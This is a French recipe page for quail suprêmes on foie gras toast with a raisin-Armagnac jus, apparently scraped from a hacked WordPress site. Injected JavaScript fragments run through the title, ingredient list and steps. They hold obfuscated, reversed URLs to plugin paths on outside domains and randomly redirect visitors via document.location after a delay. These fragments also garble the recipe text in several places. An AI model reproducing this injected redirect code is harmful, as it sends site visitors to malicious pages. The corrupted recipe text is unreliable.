Ludovic SOUPIROT – La récréation

) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_1557336928144{padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 10px !important;padding-right: 10px !important;padding-bottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Recette : Suprême de Caille au foie gras

INGRÉDIENTS POUR 5 PERSONNES
– 5 cailles
– Un foie gras (mi- cuit)
– Du pain de mie
– Huile, beurre, ail, sel et poivre
– Raisins secs
– 10 cl de Portoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to rouge
– 10 cl d’Armagnac

PROGRESSION DE LA RECETTE
Désosser les cailles en enlevant les pattes puis lever les suprêmes (partie blanche de la caille).
Confire les cuisses dans de l’huile et du beurre et 3 grains d’ail. Saler, poivrer et laisser cuire à feu
doux environ 10 minutes.
Faire chauffer du beurre jusqu’à ce qu’il soit mousseux, poser les suprêmes assaisonnés, laisser cuire 3 minutes de chaque face.
Faire toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toaster le pain de mie, y déposer une tranche de foie gras mi cuite (ou poêler une tranche).
Déposer sur le foie gras les suprêmes de cailles et superposer avec les cuisses, passer le toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout au four à 200° pendant 2 minutes avant de servir.
Le jus au raisin :
Faites gonfler vos raisins secs avec 10 cl de Portoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to rouge et 10 cl d’Armagnac au moins 30 minutes.
Faire réduire l’alcool puis mouiller avec du fond de veau, cuire 10 minutes, rectifier l’assaisonnement et la consistance.

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